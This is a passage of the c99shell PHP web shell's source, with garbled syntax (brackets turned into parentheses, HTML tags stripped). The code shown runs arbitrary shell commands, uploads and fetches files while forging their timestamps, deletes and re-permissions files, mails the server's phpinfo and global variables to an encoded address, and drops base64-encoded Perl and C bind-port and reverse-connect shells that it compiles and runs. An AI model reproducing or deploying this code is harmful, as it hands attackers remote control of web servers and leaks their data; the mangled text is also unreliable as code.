echo "form method=\"post\"bself-remove: ".__file__." brbare you sure?brfor confirmation, enter \"".$rnd."\"/b: input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"input type=\"text\" name=\"submit\" input type=\"submit\" value=\"yes\"/form";
)
)
if ($act == "feedback")
(
$suppmail = base64_decode ("yzk5c2hlbgxaaw5ib3gucnu=");
if (!empty ($submit))
(
$ticket = substr (md5 (microtime ()+rand (1,1000)),0,6);
$body = "c99shell v.".$shver." feedback #".$ticket."\nname: ".htmlspecialchars ($fdbk_name)."\ne-mail: ".htmlspecialchars ($fdbk_email)."\nmessage:\n".htmlspecialchars ($fdbk_body)."\n\nip: ".$remote_addr;
if (!empty ($fdbk_ref))
(
$tmp = @ob_get_contents ();
ob_clean ();
phpinfo ();
$phpinfo = base64_encode (ob_get_contents ());
ob_clean ();
echo $tmp;
$body.= "\n"."phpinfo (): ".$phpinfo."\n"."\$globals=".base64_encode (serialize ($globals))."\n";
)
mail ($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"from: ".$suppmail);
echo "centerbthanks for your feedback! your ticket id: ".$ticket."./b/center";
)
else (echo "form method=\"post\"bfeedback or report bug (".str_replace (array ("@","."),array (" (at)"," (dot)"),$suppmail)."):brbryour name: input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars ($fdbk_name)."\"brbryour e-mail: input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars ($fdbk_email)."\"brbrmessage:brtextarea name=\"fdbk_body\" cols=80 rows=10".htmlspecialchars ($fdbk_body)."/textareainput type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode ($http_referer)."\"brbrattach server-info * input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checkedbrbrthere are no checking in the form.brbr* - strongly recommended, if you report bug, because we need it for bug-fix.brbrwe understand languages: english, russian.brbrinput type=\"submit\" name=\"submit\" value=\"send\"/form";)
)
if ($act == "search")
(
echo "bsearch in file-system:/bbr";
if (empty ($search_in)) ($search_in = $d;)
if (empty ($search_name)) ($search_name = " (.*)"; $search_name_regexp = 1;)
if (empty ($search_text_wwo)) ($search_text_regexp = 0;)
if (!empty ($submit))
(
$found = array ();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=$search_name, "name_regexp"=$search_name_regexp,
"text"=$search_text, "text_regexp"=$search_text_regxp,
"text_wwo"=$search_text_wwo,
"text_cs"=$search_text_cs,
"text_not"=$search_text_not
);
$searchtime = getmicrotime ();
$in = array_unique (explode (";",$search_in));
foreach ($in as $v) (c99fsearch ($v);)
$searchtime = round (getmicrotime ()-$searchtime,4);
if (count ($found) == 0) (echo "bno files found!/b";)
else
(
$ls_arr = $found;
$disp_fullpath = true;
$act = "ls";
)
)
echo "form method=\"post\"
input type=\"hidden\" name=\"d\" value=\"".$dispd."\"input type=\"hidden\" name=\"act\" value=\"".$dspact."\"
bsearch for (file/directory name): /binput type=\"text\" name=\"search_name\" size=\"".round (strlen ($search_name)+25)."\" value=\"".htmlspecialchars ($search_name)."\" input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds ($search_name_regexp,1," checked")." - regexp
brbsearch in (explode \";\"): /binput type=\"text\" name=\"search_in\" size=\"".round (strlen ($search_in)+25)."\" value=\"".htmlspecialchars ($search_in)."\"
brbrbtext:/bbrtextarea name=\"search_text\" cols=\"122\" rows=\"10\"".htmlspecialchars ($search_text)."/textarea
brbrinput type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds ($search_text_regexp,1," checked")." - regexp
input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds ($search_text_wwo,1," checked")." - uw/uhole words only
input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds ($search_text_cs,1," checked")." - casue/u sensitive
input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds ($search_text_not,1," checked")." - find files unot/u containing the text
brbrinput type=\"submit\" name=\"submit\" value=\"search\"/form";
if ($act == "ls") ($dspact = $act; echo "hr size=\"1\" noshadebsearch took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round ( ($search_i_f+$search_i_d)/$searchtime,4)." objects per second)./bbrbr";)
)
if ($act == "chmod")
(
$mode = fileperms ($d.$f);
if (!$mode) (echo "bchange file-mode with error:/b can't get current value.";)
else
(
$form = true;
if ($chmod_submit)
(
$octet = "0".base_convert ( ($chmod_o ("r")?1:0). ($chmod_o ("w")?1:0). ($chmod_o ("x")?1:0). ($chmod_g ("r")?1:0). ($chmod_g ("w")?1:0). ($chmod_g ("x")?1:0). ($chmod_w ("r")?1:0). ($chmod_w ("w")?1:0). ($chmod_w ("x")?1:0),2,8);
if (chmod ($d.$f,$octet)) ($act = "ls"; $form = false; $err = "";)
else ($err = "can't chmod to ".$octet.".";)
)
if ($form)
(
$perms = parse_perms ($mode);
echo "bchanging file-mode (".$d.$f."), ".view_perms_color ($d.$f)." (".substr (decoct (fileperms ($d.$f)),-4,4).")/bbr". ($err?"berror:/b ".$err:"")."form action=\"".htmlspecialchars ($surl)."\" method=\"post\"input type=hidden name=d value=\"".htmlspecialchars ($d)."\"input type=hidden name=f value=\"".htmlspecialchars ($f)."\"input type=hidden name=act value=chmodtable align=left width=300 border=0 cellspacing=0 cellpadding=5trtdbowner/bbrbrinput type=checkbox name=chmod_o (r) value=1". ($perms ("o") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_o (w) value=1". ($perms ("o") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_o (x) value=1". ($perms ("o") ("x")?" checked":"")."execute/tdtdbgroup/bbrbrinput type=checkbox name=chmod_g (r) value=1". ($perms ("g") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_g (w) value=1". ($perms ("g") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_g (x) value=1". ($perms ("g") ("x")?" checked":"")."execute/font/tdtdbworld/bbrbrinput type=checkbox name=chmod_w (r) value=1". ($perms ("w") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_w (w) value=1". ($perms ("w") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_w (x) value=1". ($perms ("w") ("x")?" checked":"")."execute/font/td/trtrtdinput type=submit name=chmod_submit value=\"save\"/td/tr/table/form";
)
)
)
if ($act == "upload")
(
$uploadmess = "";
$uploadpath = str_replace ("\\",directory_separator,$uploadpath);
if (empty ($uploadpath)) ($uploadpath = $d;)
elseif (substr ($uploadpath,-1,1)!= "/") ($uploadpath.= "/";)
if (!empty ($submit))
(
global $http_post_files;
$uploadfile = $http_post_files ("uploadfile");
if (!empty ($uploadfile ("tmp_name")))
(
if (empty ($uploadfilename)) ($destin = $uploadfile ("name");)
else ($destin = $userfilename;)
if (!move_uploaded_file ($uploadfile ("tmp_name"),$uploadpath.$destin)) ($uploadmess.= "error uploading file ".$uploadfile ("name")." (can't copy \"".$uploadfile ("tmp_name")."\" to \"".$uploadpath.$destin."\"!br";)
)
elseif (!empty ($uploadurl))
(
if (!empty ($uploadfilename)) ($destin = $uploadfilename;)
else
(
$destin = explode ("/",$destin);
$destin = $destin (count ($destin)-1);
if (empty ($destin))
(
$i = 0;
$b = "";
while (file_exists ($uploadpath.$destin)) (if ($i 0) ($b = "_".$i;) $destin = "index".$b.".html"; $i++;))
)
if ( (!eregi ("http://",$uploadurl)) and (!eregi ("https://",$uploadurl)) and (!eregi ("ftp://",$uploadurl))) (echo "bincorect url!/bbr";)
else
(
$st = getmicrotime ();
$content = @file_get_contents ($uploadurl);
$dt = round (getmicrotime ()-$st,4);
if (!$content) ($uploadmess.= "can't download file!br";)
else
(
if ($filestealth) ($stat = stat ($uploadpath.$destin);)
$fp = fopen ($uploadpath.$destin,"w");
if (!$fp) ($uploadmess.= "error writing to file ".htmlspecialchars ($destin)."!br";)
else
(
fwrite ($fp,$content,strlen ($content));
fclose ($fp);
if ($filestealth) (touch ($uploadpath.$destin,$stat (9),$stat (8));)
)
)
)
)
)
if ($miniform)
(
echo "b".$uploadmess."/b";
$act = "ls";
)
else
(
echo "bfile upload:/bbrb".$uploadmess."/bform enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode ($d)."\" method=\"post\"
select file on your local computer: input name=\"uploadfile\" type=\"file\"br orbr
input url: input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars ($uploadurl)."\" size=\"70\"brbr
save this file dir: input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"brbr
file-name (auto-fill): input name=uploadfilename size=25brbr
input type=checkbox name=uploadautoname value=1 id=df4 convert file name to lovercasebrbr
input type=\"submit\" name=\"submit\" value=\"upload\"
/form";
)
)
if ($act == "delete")
(
$delerr = "";
foreach ($actbox as $v)
(
$result = false;
$result = fs_rmobj ($v);
if (!$result) ($delerr.= "can't delete ".htmlspecialchars ($v)."br";)
)
if (!empty ($delerr)) (echo "bdeleting with errors:/bbr".$delerr;)
$act = "ls";
)
if (!$usefsbuff)
(
if ( ($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) (echo "centerbsorry, buffer is disabled. for enable, set directive \"\$usefsbuff\" as true./center";)
)
else
(
if ($act == "copy") ($err = ""; $sess_data ("copy") = array_merge ($sess_data ("copy"),$actbox); c99_sess_put ($sess_data); $act = "ls"; )
elseif ($act == "cut") ($sess_data ("cut") = array_merge ($sess_data ("cut"),$actbox); c99_sess_put ($sess_data); $act = "ls";)
elseif ($act == "unselect") (foreach ($sess_data ("copy") as $k=$v) (if (in_array ($v,$actbox)) (unset ($sess_data ("copy") ($k));)) foreach ($sess_data ("cut") as $k=$v) (if (in_array ($v,$actbox)) (unset ($sess_data ("cut") ($k));)) c99_sess_put ($sess_data); $act = "ls";)
if ($actemptybuff) ($sess_data ("copy") = $sess_data ("cut") = array (); c99_sess_put ($sess_data);)
elseif ($actpastebuff)
(
$psterr = "";
foreach ($sess_data ("copy") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_copy_obj ($v,$to)) ($psterr.= "can't copy ".$v." to ".$to."!br";)
if ($copy_unset) (unset ($sess_data ("copy") ($k));)
)
foreach ($sess_data ("cut") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_move_obj ($v,$to)) ($psterr.= "can't move ".$v." to ".$to."!br";)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($psterr)) (echo "bpasting with errors:/bbr".$psterr;)
$act = "ls";
)
elseif ($actarcbuff)
(
$arcerr = "";
if (substr ($actarcbuff_path,-7,7) == ".tar.gz") ($ext = ".tar.gz";)
else ($ext = ".tar.gz";)
if ($ext == ".tar.gz") ($cmdline = "tar cfzv";)
$cmdline.= " ".$actarcbuff_path;
$objects = array_merge ($sess_data ("copy"),$sess_data ("cut"));
foreach ($objects as $v)
(
$v = str_replace ("\\",directory_separator,$v);
if (substr ($v,0,strlen ($d)) == $d) ($v = basename ($v);)
if (is_dir ($v))
(
if (substr ($v,-1,1)!= directory_separator) ($v.= directory_separator;)
$v.= "*";
)
$cmdline.= " ".$v;
)
$tmp = realpath (".");
chdir ($d);
$ret = myshellexec ($cmdline);
chdir ($tmp);
if (empty ($ret)) ($arcerr.= "can't call archivator (".htmlspecialchars (str2mini ($cmdline,60)).")!br";)
$ret = str_replace ("\r\n","\n",$ret);
$ret = explode ("\n",$ret);
if ($copy_unset) (foreach ($sess_data ("copy") as $k=$v) (unset ($sess_data ("copy") ($k));))
foreach ($sess_data ("cut") as $k=$v)
(
if (in_array ($v,$ret)) (fs_rmobj ($v);)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($arcerr)) (echo "barchivation errors:/bbr".$arcerr;)
$act = "ls";
)
elseif ($actpastebuff)
(
$psterr = "";
foreach ($sess_data ("copy") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_copy_obj ($v,$d)) ($psterr.= "can't copy ".$v." to ".$to."!br";)
if ($copy_unset) (unset ($sess_data ("copy") ($k));)
)
foreach ($sess_data ("cut") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_move_obj ($v,$d)) ($psterr.= "can't move ".$v." to ".$to."!br";)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($psterr)) (echo "bpasting with errors:/bbr".$psterr;)
$act = "ls";
)
)
if ($act == "cmd")
(
if (trim ($cmd) == "ps -aux") ($act = "ps_aux";)
else
(
@chdir ($chdir);
if (!empty ($submit))
(
echo "bresult of execution this command/b:br";
$olddir = realpath (".");
@chdir ($d);
$ret = myshellexec ($cmd);
$ret = convert_cyr_string ($ret,"d","w");
if ($cmd_txt)
(
$rows = count (explode ("\r\n",$ret))+1;
if ($rows 10) ($rows = 10;)
echo "brtextarea cols=\"122\" rows=\"".$rows."\" readonly".htmlspecialchars ($ret)."/textarea";
)
else (echo $ret."br";)
@chdir ($olddir);
)
else (echo "bexecution command/b"; if (empty ($cmd_txt)) ($cmd_txt = true;))
echo "form action=\"".$surl."act=cmd\" method=\"post\"textarea name=\"cmd\" cols=\"122\" rows=\"10\"".htmlspecialchars ($cmd)."/textareainput type=\"hidden\" name=\"d\" value=\"".$dispd."\"brbrinput type=\"submit\" name=\"submit\" value=\"execute\" display in text-area input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) (echo " checked";) echo "/form";
)
)
if ($act == "ls")
(
if (count ($ls_arr) 0) ($list = $ls_arr;)
else
(
$list = array ();
if ($h = @opendir ($d))
(
while ( ($o = readdir ($h))!== false) ($list () = $d.$o;)
closedir ($h);
)
)
if (count ($list) == 0) (echo "centerbcan't open directory (".htmlspecialchars ($d).")!/b/center";)
else
(
//building array
$objects = array ();
$vd = "f"; //viewing mode
if ($vd == "f")
(
$objects ("head") = array ();
$objects ("dirs") = array ();
$objects ("links") = array ();
$objects ("files") = array ();
foreach ($list as $v)
(
$o = basename ($v);
$row = array ();
if ($o == ".") ($row () = $d.$o; $row () = "link";)
elseif ($o == "..") ($row () = $d.$o; $row () = "link";)
elseif (is_dir ($v))
(
if (is_link ($v)) ($type = "link";)
else ($type = "dir";)
$row () = $v;
$row () = $type;
)
elseif (is_file ($v)) ($row () = $v; $row () = filesize ($v);)
$row () = filemtime ($v);
if (!$win)
(
$ow = @posix_getpwuid (fileowner ($v));
$gr = @posix_getgrgid (filegroup ($v));
$row () = $ow ("name")."/".$gr ("name");
$row () = fileowner ($v)."/".filegroup ($v);
)
$row () = fileperms ($v);
if ( ($o == ".") or ($o == "..")) ($objects ("head") () = $row;)
elseif (is_link ($v)) ($objects ("links") () = $row;)
elseif (is_dir ($v)) ($objects ("dirs") () = $row;)
elseif (is_file ($v)) ($objects ("files") () = $row;)
)
$row = array ();
$row () = "bname/b";
$row () = "bsize/b";
$row () = "bmodify/b";
if (!$win)
($row () = "bowner/group/b";)
$row () = "bperms/b";
$row () = "baction/b";
$k = $sort (0);
if (!is_numeric ($k)) ($k = $sort (0) = 0;)
if ($sort (1)!= "a") ($sort (1) = "d";)
$y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&sort=".$k. ($sort (1) == "a"?"d":"a")."\"";
$y.= "img src=\"".$surl."act=img&img=sort_". ($sort (1) == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"". ($sort (1) == "a"?"asc.":"desc")."\" border=\"0\"/a";
$row ($k).= $y;
for ($i=0;$icount ($row)-1;$i++)
(
if ($i!= $k) ($row ($i) = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&sort=".$i.$sort (1)."\"".$row ($i)."/a";)
)
$v = $sort (0);
usort ($objects ("dirs"), "tabsort");
usort ($objects ("links"), "tabsort");
usort ($objects ("files"), "tabsort");
if ($sort (1) == "d")
(
$objects ("dirs") = array_reverse ($objects (dirs));
$objects ("files") = array_reverse ($objects (files));
)
$objects = array_merge ($objects ("head"),$objects ("dirs"),$objects ("links"),$objects ("files"));
$tab = array ();
$tab ("cols") = array ($row);
$tab ("head") = array ();
$tab ("dirs") = array ();
$tab ("links") = array ();
$tab ("files") = array ();
foreach ($objects as $a)
(
$v = $a (0);
$o = basename ($v);
$dir = dirname ($v);
if ($disp_fullpath) ($disppath = $v;)
else ($disppath = $o;)
$disppath = str2mini ($disppath,60);
if (in_array ($v,$sess_data ("cut"))) ($disppath = "strike".$disppath."/strike";)
elseif (in_array ($v,$sess_data ("copy"))) ($disppath = "u".$disppath."/u";)
foreach ($regxp_highlight as $r)
(
if (ereg ($r (0),$o))
(
if ( (!is_numeric ($r (1))) or ($r (1) 3)) ($r (1) = 0; ob_clean (); echo "warning! configuration error in \$regxp_highlight (".$k.") (0) - unknown command"; exit;)
else
(
$r (1) = round ($r (1));
$isdir = is_dir ($v);
if ( ($r (1) == 0) or ( ($r (1) == 1) and!$isdir) or ( ($r (1) == 2) and!$isdir))
(
if (empty ($r (2))) ($r (2) = "b"; $r (3) = "/b";)
$disppath = $r (2).$disppath.$r (3);
if ($r (4)) (break;)
)
)
)
)
$uo = urlencode ($o);
$ud = urlencode ($dir);
$uv = urlencode ($v);
$row = array ();
if ($o == ".")
(
$row () = "img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=".$dspact."&d=".urlencode (realpath ($d.$o))."\"".$o."/a";
$row () = "link";
)
elseif ($o == "..")
(
$row () = "img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=".$dspact."&d=".urlencode (realpath ($d.$o))."&sort=".$sort."\"".$o."/a";
$row () = "link";
)
elseif (is_dir ($v))
(
if (is_link ($v))
(
$disppath.= " = ".readlink ($v);
$type = "link";
$row () = "img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\" a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\" (".$disppath.")/a";
)
else
(
$type = "dir";
$row () = "img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\" (".$disppath.")/a";
)
$row () = $type;
)
elseif (is_file ($v))
(
$ext = explode (".",$o);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$row () = "img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\" a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\"".$disppath."/a";
$row () = view_size ($a (1));
)
$row () = date ("d.m.y h:i:s",$a (2));
if (!$win) ($row () = $a (3);)
$row () = "a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"b".view_perms_color ($v)."/b/a";
if (is_dir ($v)) ($row () = "a href=\"".$surl."act=d&d=".$uv."\"img src=\"".$surl."act=img&img=ext_diz\" alt=\"info\" height=\"16\" width=\"16\" border=\"0\"/a input type=\"checkbox\" name=\"actbox ()\" value=\"".htmlspecialchars ($v)."\"";)
else ($row () = "a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"img src=\"".$surl."act=img&img=ext_diz\" alt=\"info\" height=\"16\" width=\"16\" border=\"0\"/a a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"img src=\"".$surl."act=img&img=change\" alt=\"change\" height=\"16\" width=\"19\" border=\"0\"/a a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"img src=\"".$surl."act=img&img=download\" alt=\"download\" height=\"16\" width=\"19\" border=\"0\"/a input type=\"checkbox\" id=\"ls_dir ()\" name=\"actbox ()\" value=\"".htmlspecialchars ($v)."\"";)
if ( ($o == ".") or ($o == "..")) ($tab (head) () = $row;)
elseif (is_link ($v)) ($tab ("links") () = $row;)
elseif (is_dir ($v)) ($tab ("dirs") () = $row;)
elseif (is_file ($v)) ($tab ("files") () = $row;)
)
)
//compiling table
$table = array_merge ($tab ("cols"),$tab ("head"),$tab ("dirs"),$tab ("links"),$tab ("files"));
echo "centerblisting directory (".count ($tab ("files"))." files and ". (count ($tab ("dirs"))+count ($tab ("links")))." directories):/b/centerbrtable cellspacing=0 cellpadding=0 width=100% bgcolor=#333333 bordercolorlight=#333333 border=0form method=\"post\"";
foreach ($table as $row)
(
echo "tr\r\n";
foreach ($row as $v) (echo "td".$v."/td\r\n";)
echo "/tr\r\n";
)
echo "/tablehr size=\"1\" noshadep align=\"right\"bimg src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"";
if (count (array_merge ($sess_data ("copy"),$sess_data ("cut"))) 0 and ($usefsbuff))
(
echo "input type=\"submit\" name=\"actarcbuff\" value=\"pack buffer to archive\" input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr (md5 (rand (1,1000).rand (1,1000)),0,5).".tar.gz\" input type=\"submit\" name=\"actpastebuff\" value=\"paste\" input type=\"submit\" name=\"actemptybuff\" value=\"empty buffer\" ";
)
echo "select name=\"act\"option value=\"".$act."\"with selected:/option";
echo "option value=\"delete\"".gchds ($dspact,"delete"," selected")."delete/option";
echo "option value=\"chmod\"".gchds ($dspact,"chmod"," selected")."change-mode/option";
if ($usefsbuff)
(
echo "option value=\"cut\"".gchds ($dspact,"cut"," selected")."cut/option";
echo "option value=\"copy\"".gchds ($dspact,"copy"," selected")."copy/option";
echo "option value=\"unselect\"".gchds ($dspact,"unselect"," selected")."unselect/option";
)
echo "/select input type=\"submit\" value=\"confirm\"/p";
echo "/form";
)
)
if ($act == "bind")
(
$bndsrcs = array (
"c99sh_bindport.pl"=
"iyevdxnyl2jpbi9wzxjsdqppziaoqefsr1ygpcaxksb7zxhpdcgxktt9dqokcg9ydca9icrbukdw".
"wzbdow0kzxhpdcbpzibmb3jrow0kjdagpsaidxbkyxrlzgiiic4giiaiihgxmda7dqoku0lhe0ni".
"ter9id0gj0lhtk9srsc7dqp1c2ugu29ja2v0ow0kc29ja2v0kfmsifbgx0lorvqsifnpq0tfu1rs".
"rufnlcawktsncnnldhnvy2tvchqouywgu09mx1npq0tfvcwgu09fukvvu0vbrerslcaxktsncmjp".
"bmqouywgc29ja2fkzhjfaw4ojhbvcnqsieloqureul9btlkpktsncmxpc3rlbihtlca1mck7dqph".
"y2nlchqowcxtktsncm9wzw4gu1resu4sici8jlgiow0kb3blbibtverpvvqsici+jlgiow0kb3bl".
"bibtverfulisici+jlgiow0kzxhlyygizwnobybcildlbgnvbwugdg8gyzk5c2hlbgwhxhjcblxy".
"xg5ciiipow0kd2hpbguomskncnsncibhy2nlchqowcwguyk7dqogdw5szxnzkgzvcmspdqogew0k".
"icbvcgvuifnurelolcaipczyijsnciagb3blbibtverpvvqsici+jlgiow0kicbjbg9zzsbyow0k".
"icblegvjkcivymlul3noiik7dqogfq0kignsb3nlifg7dqp9",
"c99sh_bindport.c"=
"i2luy2x1zgugphn0zglvlmg+dqojaw5jbhvkzsa8c3ryaw5nlmg+dqojaw5jbhvkzsa8c3lzl3r5".
"cgvzlmg+dqojaw5jbhvkzsa8c3lzl3nvy2tldc5opg0ki2luy2x1zgugpg5ldgluzxqvaw4uad4n".
"cinpbmnsdwrlidxlcnjuby5opg0kaw50ig1haw4oyxjnyyxhcmd2kq0kaw50igfyz2m7dqpjagfy".
"icoqyxjndjsncnsgia0kigludcbzb2nrzmqsig5ld2zkow0kignoyxigynvmwzmwxtsncibzdhj1".
"y3qgc29ja2fkzhjfaw4gcmvtb3rlow0kiglmkgzvcmsoksa9psawksb7ia0kihjlbw90zs5zaw5f".
"zmftawx5id0gquzfsu5fvdsncibyzw1vdguuc2lux3bvcnqgpsbodg9ucyhhdg9pkgfyz3zbmv0p".
"ktsncibyzw1vdguuc2lux2fkzhiuc19hzgryid0gahrvbmwosu5brersx0fowsk7ia0kihnvy2tm".
"zca9ihnvy2tldchbrl9jtkvulfnpq0tfu1rsrufnldapow0kiglmkcfzb2nrzmqpihblcnjvcigi".
"c29ja2v0igvycm9yiik7dqogymluzchzb2nrzmqsichzdhj1y3qgc29ja2fkzhigkikmcmvtb3rl".
"lcawedewktsncibsaxn0zw4oc29ja2zklca1ktsncib3aglszsgxkq0kicb7dqogicbuzxdmzd1h".
"y2nlchqoc29ja2zkldasmck7dqogicbkdxaykg5ld2zkldapow0kicagzhvwmihuzxdmzcwxktsn".
"ciagigr1cdiobmv3zmqsmik7dqogicb3cml0zshuzxdmzcwiugfzc3dvcmq6iiwxmck7dqogicby".
"zwfkkg5ld2zklgj1zixzaxplb2yoynvmksk7dqogicbpziaoiwnocgfzcyhhcmd2wzjdlgj1zikp".
"dqogicbzexn0zw0oimvjag8gd2vsy29tzsb0bybjotlzagvsbcamjiavymlul2jhc2gglwkiktsn".
"ciagigvsc2unciagigzwcmludgyoc3rkzxjylcjtb3jyesipow0kicagy2xvc2uobmv3zmqpow0k".
"icb9dqogfq0kfq0kaw50ignocgfzcyhjagfyicpiyxnllcbjagfyicplbnrlcmvkksb7dqppbnqg".
"atsncmzvcihppta7atxzdhjszw4ozw50zxjlzck7assrksancnsncmlmkgvudgvyzwrbav0gpt0g".
"j1xujykncmvudgvyzwrbav0gpsanxdanoyancmlmkgvudgvyzwrbav0gpt0gj1xyjykncmvudgvy".
"zwrbav0gpsanxdanow0kfq0kawygkcfzdhjjbxaoymfzzsxlbnrlcmvkkskncnjldhvybiawow0k".
"fq==",
"c99sh_backconn.pl"=
"iyevdxnyl2jpbi9wzxjsdqp1c2ugu29ja2v0ow0kjgntzd0gimx5bngiow0kj".
"hn5c3rlbt0gj2vjag8gimb1bmftzsatywaio2vjag8gimbpzgaioy9iaw4vc2gnow0kjda9jgntz".
"dsncir0yxjnzxq9jefsr1zbmf07dqokcg9ydd0kqvjhvlsxxtsncirpywrkcj1pbmv0x2f0b24oj".
"hrhcmdldckgfhwgzgllkcjfcnjvcjogjcfcbiipow0kjhbhzgrypxnvy2thzgryx2lukcrwb3j0l".
"cakawfkzhipihx8igrpzsgirxjyb3i6icqhxg4iktsncirwcm90bz1nzxrwcm90b2j5bmftzsgnd".
"gnwjyk7dqpzb2nrzxqou09ds0vulcbqrl9jtkvulcbtt0nlx1nuukvbtswgjhbyb3rvksb8fcbka".
"wuoikvycm9yoiakivxuiik7dqpjb25uzwn0kfnpq0tfvcwgjhbhzgryksb8fcbkawuoikvycm9yo".
"iakivxuiik7dqpvcgvukfnurelolcaipiztt0nlrvqiktsncm9wzw4ou1ret1vulcaipiztt0nlr".
"vqiktsncm9wzw4ou1rervjslcaipiztt0nlrvqiktsncnn5c3rlbsgkc3lzdgvtktsncmnsb3nlk".
"fnureloktsncmnsb3nlkfnure9vvck7dqpjbg9zzshtverfulipow==",
"c99sh_backconn.c"=
"i2luy2x1zgugphn0zglvlmg+dqojaw5jbhvkzsa8c3lzl3nvy2tldc5opg0ki2luy2x1zgugpg5l".
"dgluzxqvaw4uad4ncmludcbtywlukgludcbhcmdjlcbjagfyicphcmd2w10pdqp7dqogaw50igzk".
"ow0kihn0cnvjdcbzb2nrywrkcl9pbibzaw47dqogy2hhcibybxnbmjfdpsjybsatziaioyancibk".
"ywvtb24omswwktsncibzaw4uc2lux2zhbwlsesa9iefgx0lorvq7dqogc2lulnnpbl9wb3j0id0g".
"ahrvbnmoyxrvashhcmd2wzjdksk7dqogc2lulnnpbl9hzgrylnnfywrkcia9igluzxrfywrkcihh".
"cmd2wzfdktsgdqogynplcm8oyxjndlsxxsxzdhjszw4oyxjndlsxxskrmstzdhjszw4oyxjndlsy".
"xskpoyancibmzca9ihnvy2tldchbrl9jtkvulcbtt0nlx1nuukvbtswgsvbquk9ut19uq1apidsg".
"dqogawygkchjb25uzwn0kgzklcaoc3rydwn0ihnvy2thzgryicopiczzaw4sihnpemvvzihzdhj1".
"y3qgc29ja2fkzhipksk8mckgew0kicagcgvycm9ykcjblv0gy29ubmvjdcgpiik7dqogicblegl0".
"kdapow0kih0ncibzdhjjyxqocm1zlcbhcmd2wzbdktsncibzexn0zw0ocm1zktsgia0kigr1cdio".
"zmqsidapow0kigr1cdiozmqsidepow0kigr1cdiozmqsidipow0kigv4zwnskcivymlul3noiiwi".
"c2gglwkilcbovuxmktsncibjbg9zzshmzck7ia0kfq=="
);
$bndportsrcs = array (
"c99sh_bindport.pl"=array ("using perl","perl %path %port"),
"c99sh_bindport.c"=array ("using c","%path %port %pass")
);
$bcsrcs = array (
"c99sh_backconn.pl"=array ("using perl","perl %path %host %port"),
"c99sh_backconn.c"=array ("using c","%path %host %port")
);
if ($win) (echo "bbinding port and back connect:/bbrthis functions not work in windows!brbr";)
else
(
if (!is_array ($bind)) ($bind = array ();)
if (!is_array ($bc)) ($bc = array ();)
if (!is_numeric ($bind ("port"))) ($bind ("port") = $bindport_port;)
if (empty ($bind ("pass"))) ($bind ("pass") = $bindport_pass;)
if (empty ($bc ("host"))) ($bc ("host") = $remote_addr;)
if (!is_numeric ($bc ("port"))) ($bc ("port") = $bindport_port;)
if (!empty ($bindsubmit))
(
echo "bresult of binding port:/bbr";
$v = $bndportsrcs ($bind ("src"));
if (empty ($v)) (echo "unknown file!br";)
elseif (fsockopen ($server_addr,$bind ("port"),$errno,$errstr,0.1)) (echo "port alredy in use, select any other!br";)
else
(
$srcpath = $tmpdir.$bind ("src");
$w = explode (".",$bind ("src"));
$ext = $w (count ($w)-1);
unset ($w (count ($w)-1));
$binpath = $tmpdir.join (".",$w);
if ($ext == "pl") ($binpath = $srcpath;)
@unlink ($srcpath);
$fp = fopen ($srcpath,"ab+");
if (!$fp) (echo "can't write sources to \"".$srcpath."\"!br";)
else
(
$data = base64_decode ($bndsrcs ($bind ("src")));
fwrite ($fp,$data,strlen ($data));
fclose ($fp);
if ($ext == "c") ($retgcc = myshellexec ("gcc -o ".$binpath." ".$srcpath); @unlink ($srcpath);)
$v (1) = str_replace ("%path",$binpath,$v (1));
$v (1) = str_replace ("%port",$bind ("port"),$v (1));
